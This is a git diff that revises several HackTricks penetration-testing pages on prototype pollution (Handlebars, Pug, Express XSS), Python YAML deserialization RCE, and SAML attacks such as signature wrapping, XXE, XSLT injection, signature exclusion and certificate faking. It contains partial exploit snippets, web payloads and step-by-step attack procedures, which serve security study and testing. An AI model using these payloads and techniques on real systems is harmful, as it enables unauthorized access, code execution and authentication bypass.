1. **Parser Manipulation**: The parser, through the `NumberLiteral` node, forces values to be numbers. However, this can be bypassed by prototype pollution, allowing the insertion of non-numeric strings.
|
||||
2. **Compiler Handling**: The compiler accepts either an AST Object or a template string. If `input.type` is `Program`, the input is considered pre-parsed, leading to potential exploitation.
|
||||
3. **Code Injection**: By manipulating `Object.prototype`, arbitrary code can be injected into the template function, leading to potential remote code execution.
|
||||
1. **Manipulation of the Parser**: Initially, the parser, via the `NumberLiteral` node, enforces that values are numeric. Prototype pollution can circumvent this, enabling the insertion of non-numeric strings.
|
||||
2. **Handling by the Compiler**: The compiler can process an AST Object or a string template. If `input.type` equals `Program`, the input is treated as pre-parsed, which can be exploited.
|
||||
3. **Injection of Code**: Through manipulation of `Object.prototype`, one can inject arbitrary code into the template function, which may lead to remote code execution.
|
||||
|
||||
Example of Handlebars vulnerability exploitation:
|
||||
An example demonstrating the exploitation of the Handlebars vulnerability:
|
||||
|
||||
```javascript
|
||||
const Handlebars = require('handlebars');
|
||||
|
@ -333,11 +304,13 @@ const template = Handlebars.precompile(source);
|
|||
console.log(eval('(' + template + ')')['main'].toString());
|
||||
```
|
||||
|
||||
The above code demonstrates how an attacker can inject arbitrary code into a Handlebars template.
|
||||
This code showcases how an attacker could inject arbitrary code into a Handlebars template.
|
||||
|
||||
**External Reference**: An issue related to prototype pollution was found in the 'flat' library, as detailed here: [Issue on GitHub](https://github.com/hughsk/flat/issues/105).
|
||||
|
||||
**External Reference**: [Issue related to prototype pollution in the 'flat' library](https://github.com/hughsk/flat/issues/105)
|
||||
|
||||
Example of prototype pollution in Python:
|
||||
Example of prototype pollution exploit in Python:
|
||||
|
||||
```python
|
||||
import requests
|
||||
|
@ -367,7 +340,7 @@ requests.get(TARGET_URL)
|
|||
|
||||
#### Pug Vulnerability
|
||||
|
||||
Similar to Handlebars, Pug can also be exploited through prototype pollution. More information can be found at [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug).
|
||||
Pug, another template engine, faces a similar risk of prototype pollution. Detailed information is available in the discussion on [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug).
|
||||
|
||||
Example of prototype pollution in Pug:
|
||||
|
||||
|
@ -390,16 +363,19 @@ requests.get(TARGET_URL)
|
|||
|
||||
### Preventive Measures
|
||||
|
||||
To mitigate the risk of prototype pollution, consider the following strategies:
|
||||
|
||||
1. **Object Immutability**: Utilize `Object.freeze` to make `Object.prototype` immutable.
|
||||
2. **Input Validation**: Strictly validate JSON inputs based on the application's schema.
|
||||
3. **Safe Merge Functions**: Avoid unsafe use of recursive merge functions.
|
||||
4. **Prototype-less Objects**: Use `Object.create(null)` to create objects without prototype properties.
|
||||
5. **Use of Map**: Opt for `Map` instead of `Object` for key-value pairs.
|
||||
6. **Library Updates**: Regularly update libraries to incorporate security patches.
|
||||
|
||||
To reduce the risk of prototype pollution, the strategies listed below can be employed:
|
||||
|
||||
1. **Object Immutability**: The `Object.prototype` can be made immutable by applying `Object.freeze`.
|
||||
2. **Input Validation**: JSON inputs should be rigorously validated against the application's schema.
|
||||
3. **Safe Merge Functions**: The unsafe use of recursive merge functions should be avoided.
|
||||
4. **Prototype-less Objects**: Objects without prototype properties can be created using `Object.create(null)`.
|
||||
5. **Use of Map**: Instead of `Object`, `Map` should be used for storing key-value pairs.
|
||||
6. **Library Updates**: Security patches can be incorporated by regularly updating libraries.
|
||||
7. **Linter and Static Analysis Tools**: Use tools like ESLint with appropriate plugins to detect and prevent prototype pollution vulnerabilities.
|
||||
8. **Code Reviews**: Implement thorough code reviews to identify and remediate potential risks related to prototype pollution.
|
||||
9. **Security Training**: Educate developers about the risks of prototype pollution and best practices for writing secure code.
|
||||
10. **Using Libraries with Caution**: Be cautious while using third-party libraries. Assess their security posture and review their code, especially those manipulating objects.
|
||||
11. **Runtime Protection**: Employ runtime protection mechanisms such as using security-focused npm packages which can detect and prevent prototype pollution attacks.
|
||||
|
||||
## References
|
||||
|
||||
|
|
|
@ -34,13 +34,13 @@ Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get()
|
|||
|
||||
### Finding the root cause of Prototype Pollution <a href="#5530" id="5530"></a>
|
||||
|
||||
Once any of the tools have **identified** a **prototype pollution vulnerability**, if the **code** is **not** very **complex**, you can **search** the JS code for the **keywords** **`location.hash/decodeURIComponent/location.search`** in Chrome Developer Tools and find the vulnerable place.
|
||||
Once a prototype pollution vulnerability has been identified by any of the tools, and if the code is not overly complex, you might find the vulnerability by searching for keywords such as `location.hash`, `decodeURIComponent`, or `location.search` in the Chrome Developer Tools. This approach allows you to pinpoint the vulnerable section of the JavaScript code.
|
||||
|
||||
If the code is large and complex there is an easy way to **discover where is the vulnerable code**:
|
||||
For larger and more complex codebases, a straightforward method to discover the vulnerable code involves the following steps:
|
||||
|
||||
* Using one of the tools **find a vulnerability** and get a **payload** that will **set a property** in the constructor. In ppmap you will be given something like: `constructor[prototype][ppmap]=reserved`
|
||||
* Now, set a **breakpoint in the first line of JS code** that is going to be executed in the page, and refresh the page with the payload so the **execution is paused there**.
|
||||
* While the JS execution is paused **paste the following script in the JS console**. This code will indicate once the property 'ppmap' is created, so you will be able to find where it was created.
|
||||
1. Use a tool to identify a vulnerability and obtain a payload designed to set a property in the constructor. An example provided by ppmap might look like: `constructor[prototype][ppmap]=reserved`.
|
||||
2. Set a breakpoint at the first line of JavaScript code that will execute on the page. Refresh the page with the payload, pausing the execution at this breakpoint.
|
||||
3. While the JavaScript execution is paused, execute the following script in the JS console. This script will signal when the 'ppmap' property is created, aiding in locating its origin:
|
||||
|
||||
```javascript
|
||||
function debugAccess(obj, prop, debugGet=true){
|
||||
|
@ -49,13 +49,13 @@ function debugAccess(obj, prop, debugGet=true){
|
|||
|
||||
Object.defineProperty(obj, prop, {
|
||||
get: function () {
|
||||
if ( debugGet )
|
||||
if (debugGet)
|
||||
debugger;
|
||||
return origValue;
|
||||
},
|
||||
set: function(val) {
|
||||
debugger;
|
||||
return origValue = val;
|
||||
origValue = val;
|
||||
}
|
||||
});
|
||||
|
||||
|
@ -64,11 +64,11 @@ function debugAccess(obj, prop, debugGet=true){
|
|||
debugAccess(Object.prototype, 'ppmap')
|
||||
```
|
||||
|
||||
Go back to **Sources** and click “**Resume** script **execution**”. After you do that, the whole **javascript** will be **executed** and ppmap will be polluted again as expected. With the help of the Snippet we can find where exactly the ppmap property is polluted. We can **click** on the **Call** **Stack** and you will face **different** **stacks** where the **pollution** **happened**.
|
||||
4. Navigate back to the **Sources** tab and select “Resume script execution”. The JavaScript will continue executing, and the 'ppmap' property will be polluted as expected. Utilizing the provided snippet facilitates the identification of the exact location where the 'ppmap' property is polluted. By examining the **Call Stack**, different stacks where the pollution occurred can be observed.
|
||||
|
||||
But which one to choose? Most of the time Prototype Pollution happens on Javascript libraries, so aim for the stack which is attached to the .js library files (look at the right side just like in the image to know which endpoint the stack is attached to). In this case we have 2 stacks on line 4 and 6, logically we will choose the 4th line because that line is the first time where Pollution happens, which mean that this line is the reason of the vulnerability. Clicking on the stack will redirect us to the vulnerable code.
|
||||
When deciding which stack to investigate, it is often useful to target stacks associated with JavaScript library files, as prototype pollution frequently occurs within these libraries. Identify the relevant stack by examining its attachment to library files (visible on the right side, similar to an image provided for guidance). In scenarios with multiple stacks, such as those on lines 4 and 6, the logical choice is the stack on line 4, as it represents the initial occurrence of pollution and thereby the root cause of the vulnerability. Clicking on the stack will direct you to the vulnerable code.
|
||||
|
||||
![](https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
|
||||
![https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg](https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
|
||||
|
||||
## Finding Script Gadgets
|
||||
|
||||
|
@ -91,15 +91,16 @@ Check this writeup: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challe
|
|||
|
||||
* #### sanitize-html
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (668).png" alt="https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-7.png"><figcaption></figcaption></figure>
|
||||
|
||||
* #### dompurify
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (669).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (669).png" alt="https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-9.png"><figcaption></figcaption></figure>
|
||||
|
||||
* #### Closure
|
||||
|
||||
```html
|
||||
<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
|
||||
<script>
|
||||
Object.prototype['* ONERROR'] = 1;
|
||||
Object.prototype['* SRC'] = 1;
|
||||
|
|
|
@ -13,8 +13,11 @@ Other ways to support HackTricks:
|
|||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Serve XSS responses
|
||||
|
||||
**For further details [take a look to the original reserach](https://portswigger.net/research/server-side-prototype-pollution)**
|
||||
|
||||
### Change JSON content-type to HTML
|
||||
|
||||
In an Express app using a **JSON content type response** and reflecting a JSON:
|
||||
|
@ -33,7 +36,7 @@ In these cases XSS isn't normally possible with a JSON content type. However, wi
|
|||
{"__proto__":{"_body":true,"body":"<script>evil()"}}
|
||||
```
|
||||
|
||||
By **polluting** both the **`body`** and **`_body`** properties, it's possible to cause **Express to serve up the HTML content type** and reflect the `_body` property, resulting in stored XSS.
|
||||
By **polluting** **`body`** and **`_body`** properties, it's possible to cause **Express to serve up the HTML content type** and reflect the `_body` property, resulting in stored XSS.
|
||||
|
||||
### Render UTF7
|
||||
|
||||
|
@ -101,17 +104,17 @@ When you assign to a prototype with a primitive such as a string, it produces a
|
|||
|
||||
### Reflected Value
|
||||
|
||||
If the application is reflecting an object in the response you could just create an attribute with a **weird name and the `__proto__` one** and if **only the weird one is reflected** is possible that the web is vulnerable:
|
||||
When an application includes an object in its response, creating an attribute with an **unusual name alongside `__proto__`** can be insightful. Specifically, if **only the unusual attribute is returned** in the response, this could indicate the application's vulnerability:
|
||||
|
||||
```json
|
||||
{"hacktricks":"rocks","__proto__":"test"}
|
||||
{"unusualName":"value","__proto__":"test"}
|
||||
```
|
||||
|
||||
Or if Lodash or similar library is used, you can **set a property via PP and inside the object** and if that property is not reflected is because Lodash looks at the current object to see if the property already exists in the merged object:
|
||||
Moreover, in scenarios where a library like Lodash is employed, setting a property both via prototype pollution (PP) and directly inside the object offers another diagnostic approach. If such a property is omitted from the response, it suggests that Lodash is verifying the existence of the property in the target object before merging:
|
||||
|
||||
```javascript
|
||||
{"__proto__":{"a":"asd"},"a":"asd2","b":"dfg"}
|
||||
// If only b is reflected then PP in Lodash
|
||||
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
|
||||
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
|
||||
```
|
||||
|
||||
## Misc
|
||||
|
|
|
@ -108,7 +108,7 @@ Note that in **recent versions** you cannot **no longer call `.load()`** **witho
|
|||
|
||||
# RCE
|
||||
|
||||
Kindly note payload creation can be done with **any python YAML module (PyYAML or ruamel.yaml), in the same way**. The same payload can exploit both YAML module or any module based on PyYAML or ruamel.yaml
|
||||
Custom payloads can be created using Python YAML modules such as **PyYAML** or **ruamel.yaml**. These payloads can exploit vulnerabilities in systems that deserialize untrusted input without proper sanitization.
|
||||
|
||||
```python
|
||||
import yaml
|
||||
|
@ -158,7 +158,8 @@ cat /tmp/example_yaml
|
|||
|
||||
# References
|
||||
|
||||
For more in depth information about this technique read: [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
|
||||
* [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
|
||||
* [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)
|
||||
|
||||
|
||||
<details>
|
||||
|
|
|
@ -22,10 +22,6 @@ Other ways to support HackTricks:
|
|||
[saml-basics.md](saml-basics.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Attacks Graphic
|
||||
|
||||
![](<../../.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (13).png>)
|
||||
|
||||
## Tool
|
||||
|
||||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): A tool that can take a URL or list of URL and prints back SAML consume URL.
|
||||
|
@ -60,11 +56,11 @@ First child after round-trip: Z
|
|||
|
||||
This is how REXML saw the original XML document from the program above:
|
||||
|
||||
![](<../../.gitbook/assets/image (561).png>)
|
||||
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../.gitbook/assets/image (561).png>)
|
||||
|
||||
And this is how it saw it after a round of parsing and serialization:
|
||||
|
||||
![](<../../.gitbook/assets/image (562).png>)
|
||||
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../.gitbook/assets/image (562).png>)
|
||||
|
||||
For more information about the vulnerability and how to abuse it:
|
||||
|
||||
|
@ -73,72 +69,64 @@ For more information about the vulnerability and how to abuse it:
|
|||
|
||||
## XML Signature Wrapping Attacks
|
||||
|
||||
XML documents containing XML Signatures are typically **processed in two independent steps**: **signature** **validation** and **function** **invocation** (business logic). If both modules have different views on the data, a new class of vulnerabilities named XML Signature Wrapping attacks (XSW) exists.\
|
||||
In these attacks the **adversary** **modifies** the **message** structure by **injecting** **forged** elements **which do not invalidate the XML Signature**. The goal of this alteration is to change the message in such a way that the **application logic and the signature verification module use different parts of the message**. Consequently, the receiver verifies the XML Signature successfully but the application logic processes the bogus element. The **attacker thus circumvents the integrity protection** and the origin authentication of the XML Signature and can inject arbitrary content.
|
||||
In **XML Signature Wrapping attacks (XSW)**, adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: **signature validation** and **function invocation**. These attacks involve altering the XML document structure. Specifically, the attacker **injects forged elements** that do not compromise the XML Signature's validity. This manipulation aims to create a discrepancy between the elements analyzed by the **application logic** and those checked by the **signature verification module**. As a result, while the XML Signature remains technically valid and passes verification, the application logic processes the **fraudulent elements**. Consequently, the attacker effectively bypasses the XML Signature's **integrity protection** and **origin authentication**, enabling the **injection of arbitrary content** without detection.
|
||||
|
||||
From the SAML request:
|
||||
The following attacks ara based on **[this blog post](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) and [this paper](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)**. So check those for further details.
|
||||
|
||||
![](<../../.gitbook/assets/image (537).png>)
|
||||
|
||||
### XSW #1
|
||||
- **Strategy**: A new root element containing the signature is added.
|
||||
- **Implication**: The validator may get confused between the legitimate "Response -> Assertion -> Subject" and the attacker's "evil new Response -> Assertion -> Subject", leading to data integrity issues.
|
||||
|
||||
An attacker can **add a new root element where the signature** is found. Therefore, when the validator checks the integrity of the signature it may note that it has **check** the **integrity** of the **Response -> Assertion -> Subject**, and it might get confused with the **evil new Response -> Assertion -> Subject** path in red and use its data.
|
||||
|
||||
![](<../../.gitbook/assets/image (538).png>)
|
||||
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg](<../../.gitbook/assets/image (538).png>)
|
||||
|
||||
### XSW #2
|
||||
- **Difference from XSW #1**: Utilizes a detached signature instead of an enveloping signature.
|
||||
- **Implication**: The "evil" structure, similar to XSW #1, aims to deceive the business logic post integrity check.
|
||||
|
||||
The difference with #1 is that the type of Signature used is a **detached signature** where XSW #1 used an enveloping signature.\
|
||||
Note how the new evil structure is the same as before trying to confuse the business logic after the integrity check was performed.
|
||||
|
||||
![](<../../.gitbook/assets/image (539).png>)
|
||||
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](<../../.gitbook/assets/image (539).png>)
|
||||
|
||||
### XSW #3
|
||||
- **Strategy**: An evil Assertion is crafted at the same hierarchical level as the original assertion.
|
||||
- **Implication**: Intends to confuse the business logic into using the malicious data.
|
||||
|
||||
In this attack an **evil Assertion is created in at the same level** as the original assertion to try to confuse the business logic and use the evil data.
|
||||
|
||||
![](<../../.gitbook/assets/image (540).png>)
|
||||
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg](<../../.gitbook/assets/image (540).png>)
|
||||
|
||||
### XSW #4
|
||||
- **Difference from XSW #3**: The original Assertion becomes a child of the duplicated (evil) Assertion.
|
||||
- **Implication**: Similar to XSW #3 but alters the XML structure more aggressively.
|
||||
|
||||
XSW #4 is similar to #3, except in this case the **original Assertion becomes a child** of the copied Assertion.
|
||||
|
||||
![](<../../.gitbook/assets/image (541).png>)
|
||||
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg](<../../.gitbook/assets/image (541).png>)
|
||||
|
||||
### XSW #5
|
||||
- **Unique Aspect**: Neither the Signature nor the original Assertion adhere to standard configurations (enveloped/enveloping/detached).
|
||||
- **Implication**: The copied Assertion envelopes the Signature, modifying the expected document structure.
|
||||
|
||||
In XSW #5 the Signature and the original Assertion aren’t in one of the three standard configurations (enveloped/enveloping/detached). In this case, the copied Assertion envelopes the Signature.
|
||||
|
||||
![](<../../.gitbook/assets/image (542).png>)
|
||||
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../.gitbook/assets/image (542).png>)
|
||||
|
||||
### XSW #6
|
||||
- **Strategy**: Similar location insertion as XSW #4 and #5, but with a twist.
|
||||
- **Implication**: The copied Assertion envelopes the Signature, which then envelopes the original Assertion, creating a nested deceptive structure.
|
||||
|
||||
XSW #6 inserts its copied Assertion into the same location as #’s 4 and 5. The interesting piece here is that the copied Assertion envelopes the Signature, which in turn envelopes the original Assertion.
|
||||
|
||||
![](<../../.gitbook/assets/image (543).png>)
|
||||
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg](<../../.gitbook/assets/image (543).png>)
|
||||
|
||||
### XSW #7
|
||||
- **Strategy**: An Extensions element is inserted with the copied Assertion as a child.
|
||||
- **Implication**: This exploits the less restrictive schema of the Extensions element to bypass schema validation countermeasures, especially in libraries like OpenSAML.
|
||||
|
||||
XSW #7 inserts an **Extensions** element and adds the copied **Assertion** as a **child**. Extensions is a valid XML element with a **less restrictive schema definition**. The authors of this [white paper](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) developed this method in response to the OpenSAML library. OpenSAML used schema validation to correctly compare the ID used during signature validation to the ID of the processed Assertion. The authors found in cases where copied Assertions with the same ID of the original Assertion were children of an element with a less restrictive schema definition, they were able to bypass this particular countermeasure.
|
||||
|
||||
![](<../../.gitbook/assets/image (544).png>)
|
||||
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../.gitbook/assets/image (544).png>)
|
||||
|
||||
### XSW #8
|
||||
- **Difference from XSW #7**: Utilizes another less restrictive XML element for a variant of the attack.
|
||||
- **Implication**: The original Assertion becomes a child of the less restrictive element, reversing the structure used in XSW #7.
|
||||
|
||||
XSW #8 uses another **less restrictive XML element** to perform a variation of the attack pattern used in XSW #7. This time around the original Assertion is the child of the less restrictive element instead of the copied Assertion.
|
||||
|
||||
![](<../../.gitbook/assets/image (545).png>)
|
||||
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg](<../../.gitbook/assets/image (545).png>)
|
||||
|
||||
### Tool
|
||||
|
||||
You can use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to parse the request, apply any XSW attack you choose, and launch it.
|
||||
|
||||
![](<../../.gitbook/assets/image (546).png>)
|
||||
|
||||
### Original Paper
|
||||
|
||||
For more information about this attack read the original paper in [https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)
|
||||
|
||||
## XXE
|
||||
|
||||
If you don't know which kind of attacks are XXE, please read the following page:
|
||||
|
@ -147,9 +135,9 @@ If you don't know which kind of attacks are XXE, please read the following page:
|
|||
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Due to the fact that SAML Responses are deflated and base64’d **XML documents**, we can test for **XXE** by manipulating the XML document sent as the SAML Response. Example:
|
||||
SAML Responses are **deflated and base64 encoded XML documents** and can be susceptible to XML External Entity (XXE) attacks. By manipulating the XML structure of the SAML Response, attackers can attempt to exploit XXE vulnerabilities. Here’s how such an attack can be visualized:
|
||||
|
||||
```markup
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT foo ANY >
|
||||
|
@ -167,9 +155,9 @@ Due to the fact that SAML Responses are deflated and base64’d **XML documents*
|
|||
[...]
|
||||
```
|
||||
|
||||
### Tool
|
||||
## Tools
|
||||
|
||||
You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to generate the POC from a SAML request to test for possible XXE vulnerabilities.
|
||||
You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to generate the POC from a SAML request to test for possible XXE vulnerabilities and SAML vulnerabilities.
|
||||
|
||||
Check also this talk: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
|
||||
|
@ -181,13 +169,11 @@ For more information about XSLT go to:
|
|||
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Extensible Stylesheet Language Transformation (XSLT) is a Turing-complete language for transforming XML documents into other document types such as HTML, JSON, or PDF. An important aspect to note here is that **the attack doesn’t require a valid signature to succeed**. The reason for this is that **the XSLT transformation occurs before the digital signature is processed for verification**. Basically, we need a signed SAML Response to perform the attack, but the signature can be self-signed or invalid.
|
||||
|
||||
![xslt](https://epi052.gitlab.io/notes-to-self/img/saml/xslt.png)
|
||||
Extensible Stylesheet Language Transformations (XSLT) can be used for transforming XML documents into various formats like HTML, JSON, or PDF. It's crucial to note that **XSLT transformations are performed before the verification of the digital signature**. This means that an attack can be successful even without a valid signature; a self-signed or invalid signature is sufficient to proceed.
|
||||
|
||||
Here you can find a **POC** to check for this kind of vulnerabilities, in the hacktricks page mentioned at the beginning of this section you can find for payloads.
|
||||
|
||||
```markup
|
||||
```xml
|
||||
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
||||
...
|
||||
<ds:Transforms>
|
||||
|
@ -215,78 +201,88 @@ Check also this talk: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.
|
|||
|
||||
## XML Signature Exclusion <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
||||
|
||||
Signature Exclusion is used to test how the SAML implementation behaves when there is **no Signature elemen**t. When a Signature element is **absent** the **signature validation step may get skipped entirely**. If the Signature isn’t validated, then any of the contents that would typically be signed may be tampered with by an attacker.
|
||||
The **XML Signature Exclusion** observes the behavior of SAML implementations when the Signature element is not present. If this element is missing, **signature validation may not occur**, making it vulnerable. It's possibel to test this by altering the contents that are usually verified by the signature.
|
||||
|
||||
![](<../../.gitbook/assets/image (547).png>)
|
||||
![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../.gitbook/assets/image (547).png>)
|
||||
|
||||
### Tool <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
|
||||
|
||||
Signature exclusion begins with intercepting the SAML Response then clicking `Remove Signatures`. In doing so **all** Signature elements are removed.
|
||||
|
||||
![sig-exclusion](https://epi052.gitlab.io/notes-to-self/img/saml/sig-exclusion.png)
|
||||
You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercept the SAML Response and click `Remove Signatures`. In doing so **all** Signature elements are removed.
|
||||
|
||||
With the signatures removed, allow the request to proceed to the target. If the Signature isn’t required by the Service
|
||||
|
||||
## Certificate Faking <a href="#certificate-faking" id="certificate-faking"></a>
|
||||
|
||||
Certificate faking is the process of testing whether or not the Service Provider **verifies that a trusted Identity Provider signed the SAML Message.** The trust relationship between SP and IdP is established and **should be verified** each time a SAML Message is received. What this comes down to is using a **self-signed** certificate to sign the SAML Response or Assertion.
|
||||
## Certificate Faking
|
||||
Certificate Faking is a technique to test if a **Service Provider (SP) properly verifies that a SAML Message is signed** by a trusted Identity Provider (IdP). It involves using a ***self-signed certificate** to sign the SAML Response or Assertion, which helps in evaluating the trust validation process between SP and IdP.
|
||||
|
||||
### Tool <a href="#certificate-faking-how-to" id="certificate-faking-how-to"></a>
|
||||
### How to Conduct Certificate Faking
|
||||
The following steps outline the process using the [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp extension:
|
||||
|
||||
The Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) is going to be used.\
|
||||
To fake a certificate, begin by intercepting the SAML Response.\
|
||||
If there is a Signature included in the Response, use the `Send Certificate to SAML Raider Certs` button.
|
||||
1. Intercept the SAML Response.
|
||||
2. If the response contains a signature, send the certificate to SAML Raider Certs using the `Send Certificate to SAML Raider Certs` button.
|
||||
3. In the SAML Raider Certificates tab, select the imported certificate and click `Save and Self-Sign` to create a self-signed clone of the original certificate.
|
||||
4. Go back to the intercepted request in Burp’s Proxy. Select the new self-signed certificate from the XML Signature dropdown.
|
||||
5. Remove any existing signatures with the `Remove Signatures` button.
|
||||
6. Sign the message or assertion with the new certificate using the **`(Re-)Sign Message`** or **`(Re-)Sign Assertion`** button, as appropriate.
|
||||
7. Forward the signed message. Successful authentication indicates that the SP accepts messages signed by your self-signed certificate, revealing potential vulnerabilities in the validation process of the SAML messages.
|
||||
|
||||
![send-cert](https://epi052.gitlab.io/notes-to-self/img/saml/send-cert.png)
|
||||
|
||||
After sending the certificate, we should see an imported certificate in the SAML Raider Certificates tab. Once there, we highlight the imported cert and press the `Save and Self-Sign` button.
|
||||
|
||||
![sent-cert](https://epi052.gitlab.io/notes-to-self/img/saml/sent-cert.png)
|
||||
|
||||
Doing so generates a self-signed clone of the original certificate. Now it’s time to move back to the intercepted request still held in burp’s Proxy. First, select the new self-signed cert from the XML Signature dropdown menu. Then use the `Remove Signatures` button to remove any existing signatures. Finally, use the **`(Re-)Sign Message`** or `(`**`Re-)Sign Assertion`** button (**whichever** is **more** **appropriate** in your given situation).
|
||||
|
||||
![remove-sig](https://epi052.gitlab.io/notes-to-self/img/saml/remove-sig.png)
|
||||
|
||||
After signing the message with the self-signed cert, send it on its way. If we authenticate, we know that we can sign our SAML Messages. The ability to sign our SAML Messages means we can change values in the Assertion and they will be accepted by the Service Provider.
|
||||
|
||||
## Token Recipient Confusion / Service Provider Target Confusion <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
||||
|
||||
Token Recipient Confusion / Service Provider Target CONfusion **tests whether or not the Service Provider validates the Recipient**. This means, that **if the response was meant for a different Service Provide**r, the **current** Service Provider should notice it and **reject the authentication**.\
|
||||
The **Recipient** field is an attribute of the **SubjectConfirmationData** element, which is a child of the Subject element in a SAML Response.
|
||||
Token Recipient Confusion and Service Provider Target Confusion involve checking whether the **Service Provider correctly validates the intended recipient of a response**. In essence, a Service Provider should reject an authentication response if it was meant for a different provider. The critical element here is the **Recipient** field, found within the **SubjectConfirmationData** element of a SAML Response. This field specifies a URL indicating where the Assertion must be sent. If the actual recipient does not match the intended Service Provider, the Assertion should be deemed invalid.
|
||||
|
||||
> The SubjectConfirmationData element specifies additional data that allows the subject to be confirmed or constrains the circumstances under which the act of subject confirmation can take place. Subject confirmation takes place when a relying party seeks to verify the relationship between an entity presenting the assertion (that is, the attesting entity) and the subject of the assertion’s claims.
|
||||
#### **How It Works**
|
||||
|
||||
The Recipient attribute found on the **SubjectConfirmationData element is a URL that specifies the location to which the Assertion must be delivered**. If the Recipient is a different Service Provider than the one who receives it, the Assertion should not be accepted.
|
||||
For a SAML Token Recipient Confusion (SAML-TRC) attack to be feasible, certain conditions must be met. Firstly, there must be a valid account on a Service Provider (referred to as SP-Legit). Secondly, the targeted Service Provider (SP-Target) must accept tokens from the same Identity Provider that serves SP-Legit.
|
||||
|
||||
### How-to <a href="#token-recipient-confusion-how-to" id="token-recipient-confusion-how-to"></a>
|
||||
The attack process is straightforward under these conditions. An authentic session is initiated with SP-Legit via the shared Identity Provider. The SAML Response from the Identity Provider to SP-Legit is intercepted. This intercepted SAML Response, originally intended for SP-Legit, is then redirected to SP-Target. Success in this attack is measured by SP-Target accepting the Assertion, granting access to resources under the same account name used for SP-Legit.
|
||||
|
||||
SAML Token Recipient Confusion (SAML-TRC) has a few prequisite conditions in order for us to attempt exploitation. First, we **need** to have a **legitimate account on a Service Provider**. Second, **SP-Target must accept tokens issued by the same Identity Provider that services SP-Legit**.
|
||||
|
||||
